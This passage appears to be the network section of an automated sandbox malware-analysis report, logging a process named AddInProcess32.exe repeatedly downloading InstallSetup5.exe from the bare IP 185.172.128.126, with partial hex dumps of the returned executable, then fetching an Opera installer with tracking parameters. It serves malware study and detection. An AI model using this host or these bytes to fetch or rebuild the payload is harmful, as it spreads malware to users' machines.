72 63 00 00 00 e8 15 02 00 00 70 03 00 00 16 02 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL WuC@ \|p.text$ 0`.data@`.rdata8jl@`@.bss `.idata\|@0.ndata@`.rsrcp@0
Mar 11, 2024 03:30:54.407272100 CET	1286	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 57 56 53 81 ec 9c 00 00 00 8b 55 0c 8b 45 14 83 fa 0f 74 1b 83 fa 46 0f 85 d4 01 00 00 8b 0d Data Ascii: UWVSUEtFBHHE5 BD$E$BSSEED$E$BEWWEE}9}E)EFTFPE}FTFPE}
Mar 11, 2024 03:30:54.407372952 CET	1286	IN	Data Raw: 85 d4 fe ff ff 8b 85 dc fe ff ff c7 44 24 0c 05 01 00 00 89 7c 24 08 c7 44 24 04 00 00 00 00 89 04 24 ff 95 d4 fe ff ff 83 ec 10 85 c0 75 3b 83 7d 10 00 8b 85 dc fe ff ff 74 14 89 04 24 ff 15 1c d3 42 00 50 b8 01 00 00 00 e9 81 00 00 00 c7 44 24 Data Ascii: D$\|$D$$u;}t$BPD$\|$$It$BQ$=mWt BD$t$$T$%=But$$$BRRe[^_]US4]B$"4
Mar 11, 2024 03:30:54.407495975 CET	1286	IN	Data Raw: 53 53 c7 04 24 e4 ff ff ff e9 e2 11 00 00 c7 04 24 00 00 00 00 e8 0a fa ff ff 89 c3 51 8d 85 a8 fe ff ff 89 44 24 0c 8b 85 74 fe ff ff c7 44 24 04 00 04 00 00 89 1c 24 89 44 24 08 ff 15 d0 d3 42 00 83 ec 10 85 c0 74 37 8b 85 a8 fe ff ff 31 ff 39 Data Ascii: SS$$QD$tD$$D$Bt719s=8t8$fRt,D$$^bPPlBtD$D$$B$VW1T$\$D$D$D$
Mar 11, 2024 03:30:54.407644987 CET	1286	IN	Data Raw: f8 5d 00 00 01 c7 52 78 0e 81 ff ff 03 00 00 0f 8f 38 19 00 00 eb 02 31 ff c6 84 37 00 f0 42 00 00 e9 27 19 00 00 c7 04 24 20 00 00 00 e8 ec f4 ff ff 53 89 c3 c7 04 24 31 00 00 00 e8 dd f4 ff ff 83 bd a0 fe ff ff 00 56 89 44 24 04 89 1c 24 75 08 Data Ascii: ]Rx817B'$ S$1VD$$u\BXBQQ$RD$\$$BuB"u1<$\$XBWWty$S$
Mar 11, 2024 03:30:54.407711029 CET	1286	IN	Data Raw: 24 04 89 34 24 ff 15 fc d4 42 00 8b 85 98 fe ff ff 8b bd b4 fe ff ff 51 51 0f af f8 c7 04 24 00 00 00 00 0f af 85 b0 fe ff ff 89 c3 e8 e7 ef ff ff 52 c7 44 24 14 10 00 00 00 89 7c 24 10 89 5c 24 0c c7 44 24 08 00 00 00 00 89 44 24 04 c7 04 24 00 Data Ascii: $4$BQQ$RD$\|$\$D$D$$<BD$D$D$r4$XB$dBp$BWD$Z$hBRR$Qt$D$H$B$(A}
Mar 11, 2024 03:30:54.407742977 CET	1286	IN	Data Raw: ff 50 ff d7 85 c0 0f 95 c0 0f b6 c0 89 c7 eb 46 8b 85 70 fe ff ff c7 44 24 10 00 a0 40 00 c7 44 24 0c 40 3c 41 00 c7 44 24 08 00 f0 42 00 c7 44 24 04 00 04 00 00 89 04 24 ff d7 31 ff eb 17 89 74 24 04 c7 04 24 f7 ff ff ff e8 8e 46 00 00 57 57 bf Data Ascii: PFpD$@D$@<AD$BD$$1t$$FWW$ V$B$$$lRt$YQ$JSp$7V$E(Rl<
Mar 11, 2024 03:30:54.407804012 CET	1286	IN	Data Raw: 89 1c 24 ff 15 1c d3 42 00 50 eb 41 c7 04 24 22 00 00 00 e8 f4 e5 ff ff 8b 8d a0 fe ff ff 8b 95 94 fe ff ff 53 83 e1 02 85 d2 75 0c 8b 1d e4 bb 42 00 8d 93 01 00 00 80 89 4c 24 08 89 44 24 04 89 14 24 e8 46 e6 ff ff 83 ec 0c 89 c6 85 f6 0f 95 c0 Data Ascii: $BPA$"SuBL$D$$FuB$Rt$yQL$B<$D$ D$D$D$D$L$D$ B$M
Mar 11, 2024 03:30:54.407850981 CET	1286	IN	Data Raw: 26 c7 44 24 0c 01 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 04 ff ff ff ff 89 34 24 ff 15 3c d4 42 00 83 ec 10 eb 3f 8b 8d 6c fe ff ff 88 84 0f 00 f0 42 00 47 eb 2f 88 c3 8b 85 74 fe ff ff 47 84 db 88 5c 38 ff 74 1e 81 bd 70 fe ff ff ff 03 00 00 Data Ascii: &D$D$D$4$<B?lBG/tG\8tpNp9lBB$Q$iHS\|$D$t$$<BaBT$%HR$B
Mar 11, 2024 03:30:54.407972097 CET	1286	IN	Data Raw: 00 83 ec 10 83 bd 90 fe ff ff 00 74 22 8b 85 70 fe ff ff c7 44 24 08 00 00 00 00 c7 44 24 04 00 00 00 00 89 04 24 ff 15 24 d5 42 00 83 ec 0c 31 ff 01 3d e8 bb 42 00 31 d2 8d 65 f4 89 d0 5b 5e 5f 5d c2 04 00 55 89 e5 57 56 53 83 ec 1c 8b 75 08 8b Data Ascii: t"pD$D$$$B1=B1e[^_]UWVSu}kPB8$=Qtv$Ru^X)tIBBD$0uT$B$BD$D$D$<$XBd1
Mar 11, 2024 03:30:54.714771032 CET	1286	IN	Data Raw: 05 1c 7d 42 00 85 c0 0f 8f d0 fe ff ff a1 10 a0 40 00 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 89 54 24 04 89 04 24 ff 55 d4 83 ec 10 c7 04 24 01 00 00 00 e8 bd fc ff ff 31 c0 eb 03 83 c8 ff 8d 65 f4 5b 5e 5f 5d c2 04 00 55 89 e5 57 56 53 Data Ascii: }B@D$D$T$$U$1e[^_]UWVSLEx0xBD$D$}BD$@$<B$QNE}D$D$$BD$@\|$$}E}B$
Mar 11, 2024 03:30:57.179621935 CET	58	OUT	GET /InstallSetup5.exe HTTP/1.1 Host: 185.172.128.126
Mar 11, 2024 03:30:57.513179064 CET	1286	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:57 GMT Server: Apache/2.4.29 (Ubuntu) Last-Modified: Mon, 11 Mar 2024 02:30:02 GMT ETag: "1ca8e4-6135951a2b6e0" Accept-Ranges: bytes Content-Length: 1878244 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 93 15 20 57 00 00 00 00 00 00 00 00 e0 00 0f 03 0b 01 02 1a 00 8c 00 00 00 98 00 00 00 ae 01 00 75 43 00 00 00 10 00 00 00 a0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 90 05 00 00 04 00 00 a5 ea 01 00 02 00 00 80 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 02 00 7c 12 00 00 00 70 03 00 e8 15 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 8b 00 00 00 10 00 00 00 8c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 30 60 2e 64 61 74 61 00 00 00 e0 00 00 00 00 a0 00 00 00 02 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 38 6a 00 00 00 b0 00 00 00 6c 00 00 00 92 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 00 ad 01 00 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 69 64 61 74 61 00 00 7c 12 00 00 00 d0 02 00 00 14 00 00 00 fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 6e 64 61 74 61 00 00 00 80 00 00 00 f0 02 00 00 04 00 00 00 12 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 73 72 63 00 00 00 e8 15 02 00 00 70 03 00 00 16 02 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 57 56 53 81 ec Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL WuC@ \|p.text$ 0`.data@`.rdata8jl@`@.bss `.idata\|@0.ndata@`.rsrcp@0UWVS
Mar 11, 2024 03:30:58.007416010 CET	58	OUT	GET /InstallSetup5.exe HTTP/1.1 Host: 185.172.128.126
Mar 11, 2024 03:30:59.465027094 CET	58	OUT	GET /InstallSetup5.exe HTTP/1.1 Host: 185.172.128.126

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2228	192.168.2.5	55567	185.172.128.126	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:54.218384027 CET	82	OUT	GET /InstallSetup5.exe HTTP/1.1 Host: 185.172.128.126 Connection: Keep-Alive
Mar 11, 2024 03:30:54.526312113 CET	1286	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:54 GMT Server: Apache/2.4.29 (Ubuntu) Last-Modified: Mon, 11 Mar 2024 02:30:02 GMT ETag: "1ca8e4-6135951a2b6e0" Accept-Ranges: bytes Content-Length: 1878244 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 93 15 20 57 00 00 00 00 00 00 00 00 e0 00 0f 03 0b 01 02 1a 00 8c 00 00 00 98 00 00 00 ae 01 00 75 43 00 00 00 10 00 00 00 a0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 90 05 00 00 04 00 00 a5 ea 01 00 02 00 00 80 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 02 00 7c 12 00 00 00 70 03 00 e8 15 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 8b 00 00 00 10 00 00 00 8c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 30 60 2e 64 61 74 61 00 00 00 e0 00 00 00 00 a0 00 00 00 02 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 38 6a 00 00 00 b0 00 00 00 6c 00 00 00 92 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 00 ad 01 00 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 69 64 61 74 61 00 00 7c 12 00 00 00 d0 02 00 00 14 00 00 00 fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 6e 64 61 74 61 00 00 00 80 00 00 00 f0 02 00 00 04 00 00 00 12 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 73 72 63 00 00 00 e8 15 02 00 00 70 03 00 00 16 02 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL WuC@ \|p.text$ 0`.data@`.rdata8jl@`@.bss `.idata\|@0.ndata@`.rsrcp@0
Mar 11, 2024 03:30:54.526390076 CET	1286	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 57 56 53 81 ec 9c 00 00 00 8b 55 0c 8b 45 14 83 fa 0f 74 1b 83 fa 46 0f 85 d4 01 00 00 8b 0d Data Ascii: UWVSUEtFBHHE5 BD$E$BSSEED$E$BEWWEE}9}E)EFTFPE}FTFPE}
Mar 11, 2024 03:30:54.526443005 CET	1286	IN	Data Raw: 85 d4 fe ff ff 8b 85 dc fe ff ff c7 44 24 0c 05 01 00 00 89 7c 24 08 c7 44 24 04 00 00 00 00 89 04 24 ff 95 d4 fe ff ff 83 ec 10 85 c0 75 3b 83 7d 10 00 8b 85 dc fe ff ff 74 14 89 04 24 ff 15 1c d3 42 00 50 b8 01 00 00 00 e9 81 00 00 00 c7 44 24 Data Ascii: D$\|$D$$u;}t$BPD$\|$$It$BQ$=mWt BD$t$$T$%=But$$$BRRe[^_]US4]B$"4
Mar 11, 2024 03:30:54.526456118 CET	1286	IN	Data Raw: 53 53 c7 04 24 e4 ff ff ff e9 e2 11 00 00 c7 04 24 00 00 00 00 e8 0a fa ff ff 89 c3 51 8d 85 a8 fe ff ff 89 44 24 0c 8b 85 74 fe ff ff c7 44 24 04 00 04 00 00 89 1c 24 89 44 24 08 ff 15 d0 d3 42 00 83 ec 10 85 c0 74 37 8b 85 a8 fe ff ff 31 ff 39 Data Ascii: SS$$QD$tD$$D$Bt719s=8t8$fRt,D$$^bPPlBtD$D$$B$VW1T$\$D$D$D$
Mar 11, 2024 03:30:54.526586056 CET	1286	IN	Data Raw: f8 5d 00 00 01 c7 52 78 0e 81 ff ff 03 00 00 0f 8f 38 19 00 00 eb 02 31 ff c6 84 37 00 f0 42 00 00 e9 27 19 00 00 c7 04 24 20 00 00 00 e8 ec f4 ff ff 53 89 c3 c7 04 24 31 00 00 00 e8 dd f4 ff ff 83 bd a0 fe ff ff 00 56 89 44 24 04 89 1c 24 75 08 Data Ascii: ]Rx817B'$ S$1VD$$u\BXBQQ$RD$\$$BuB"u1<$\$XBWWty$S$
Mar 11, 2024 03:30:54.526757956 CET	1286	IN	Data Raw: 24 04 89 34 24 ff 15 fc d4 42 00 8b 85 98 fe ff ff 8b bd b4 fe ff ff 51 51 0f af f8 c7 04 24 00 00 00 00 0f af 85 b0 fe ff ff 89 c3 e8 e7 ef ff ff 52 c7 44 24 14 10 00 00 00 89 7c 24 10 89 5c 24 0c c7 44 24 08 00 00 00 00 89 44 24 04 c7 04 24 00 Data Ascii: $4$BQQ$RD$\|$\$D$D$$<BD$D$D$r4$XB$dBp$BWD$Z$hBRR$Qt$D$H$B$(A}
Mar 11, 2024 03:30:54.526822090 CET	1286	IN	Data Raw: ff 50 ff d7 85 c0 0f 95 c0 0f b6 c0 89 c7 eb 46 8b 85 70 fe ff ff c7 44 24 10 00 a0 40 00 c7 44 24 0c 40 3c 41 00 c7 44 24 08 00 f0 42 00 c7 44 24 04 00 04 00 00 89 04 24 ff d7 31 ff eb 17 89 74 24 04 c7 04 24 f7 ff ff ff e8 8e 46 00 00 57 57 bf Data Ascii: PFpD$@D$@<AD$BD$$1t$$FWW$ V$B$$$lRt$YQ$JSp$7V$E(Rl<
Mar 11, 2024 03:30:54.526879072 CET	1286	IN	Data Raw: 89 1c 24 ff 15 1c d3 42 00 50 eb 41 c7 04 24 22 00 00 00 e8 f4 e5 ff ff 8b 8d a0 fe ff ff 8b 95 94 fe ff ff 53 83 e1 02 85 d2 75 0c 8b 1d e4 bb 42 00 8d 93 01 00 00 80 89 4c 24 08 89 44 24 04 89 14 24 e8 46 e6 ff ff 83 ec 0c 89 c6 85 f6 0f 95 c0 Data Ascii: $BPA$"SuBL$D$$FuB$Rt$yQL$B<$D$ D$D$D$D$L$D$ B$M
Mar 11, 2024 03:30:54.526894093 CET	1286	IN	Data Raw: 26 c7 44 24 0c 01 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 04 ff ff ff ff 89 34 24 ff 15 3c d4 42 00 83 ec 10 eb 3f 8b 8d 6c fe ff ff 88 84 0f 00 f0 42 00 47 eb 2f 88 c3 8b 85 74 fe ff ff 47 84 db 88 5c 38 ff 74 1e 81 bd 70 fe ff ff ff 03 00 00 Data Ascii: &D$D$D$4$<B?lBG/tG\8tpNp9lBB$Q$iHS\|$D$t$$<BaBT$%HR$B
Mar 11, 2024 03:30:54.527020931 CET	1286	IN	Data Raw: 00 83 ec 10 83 bd 90 fe ff ff 00 74 22 8b 85 70 fe ff ff c7 44 24 08 00 00 00 00 c7 44 24 04 00 00 00 00 89 04 24 ff 15 24 d5 42 00 83 ec 0c 31 ff 01 3d e8 bb 42 00 31 d2 8d 65 f4 89 d0 5b 5e 5f 5d c2 04 00 55 89 e5 57 56 53 83 ec 1c 8b 75 08 8b Data Ascii: t"pD$D$$$B1=B1e[^_]UWVSu}kPB8$=Qtv$Ru^X)tIBBD$0uT$B$BD$D$D$<$XBd1
Mar 11, 2024 03:30:54.835372925 CET	1286	IN	Data Raw: 05 1c 7d 42 00 85 c0 0f 8f d0 fe ff ff a1 10 a0 40 00 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 89 54 24 04 89 04 24 ff 55 d4 83 ec 10 c7 04 24 01 00 00 00 e8 bd fc ff ff 31 c0 eb 03 83 c8 ff 8d 65 f4 5b 5e 5f 5d c2 04 00 55 89 e5 57 56 53 Data Ascii: }B@D$D$T$$U$1e[^_]UWVSLEx0xBD$D$}BD$@$<B$QNE}D$D$$BD$@\|$$}E}B$
Mar 11, 2024 03:30:57.341768026 CET	58	OUT	GET /InstallSetup5.exe HTTP/1.1 Host: 185.172.128.126
Mar 11, 2024 03:30:57.652703047 CET	1286	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:57 GMT Server: Apache/2.4.29 (Ubuntu) Last-Modified: Mon, 11 Mar 2024 02:30:02 GMT ETag: "1ca8e4-6135951a2b6e0" Accept-Ranges: bytes Content-Length: 1878244 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 93 15 20 57 00 00 00 00 00 00 00 00 e0 00 0f 03 0b 01 02 1a 00 8c 00 00 00 98 00 00 00 ae 01 00 75 43 00 00 00 10 00 00 00 a0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 90 05 00 00 04 00 00 a5 ea 01 00 02 00 00 80 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 02 00 7c 12 00 00 00 70 03 00 e8 15 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 8b 00 00 00 10 00 00 00 8c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 30 60 2e 64 61 74 61 00 00 00 e0 00 00 00 00 a0 00 00 00 02 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 38 6a 00 00 00 b0 00 00 00 6c 00 00 00 92 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 00 ad 01 00 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 69 64 61 74 61 00 00 7c 12 00 00 00 d0 02 00 00 14 00 00 00 fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 6e 64 61 74 61 00 00 00 80 00 00 00 f0 02 00 00 04 00 00 00 12 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 73 72 63 00 00 00 e8 15 02 00 00 70 03 00 00 16 02 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 57 56 53 81 ec Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL WuC@ \|p.text$ 0`.data@`.rdata8jl@`@.bss `.idata\|@0.ndata@`.rsrcp@0UWVS
Mar 11, 2024 03:30:58.157933950 CET	58	OUT	GET /InstallSetup5.exe HTTP/1.1 Host: 185.172.128.126
Mar 11, 2024 03:30:59.090786934 CET	58	OUT	GET /InstallSetup5.exe HTTP/1.1 Host: 185.172.128.126

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2229	192.168.2.5	55577	107.167.110.211	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:54.750387907 CET	135	OUT	GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1 Host: net.geo.opera.com Connection: Keep-Alive
Mar 11, 2024 03:30:54.967305899 CET	424	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 11 Mar 2024 02:30:54 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://net.geo.opera.com/opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 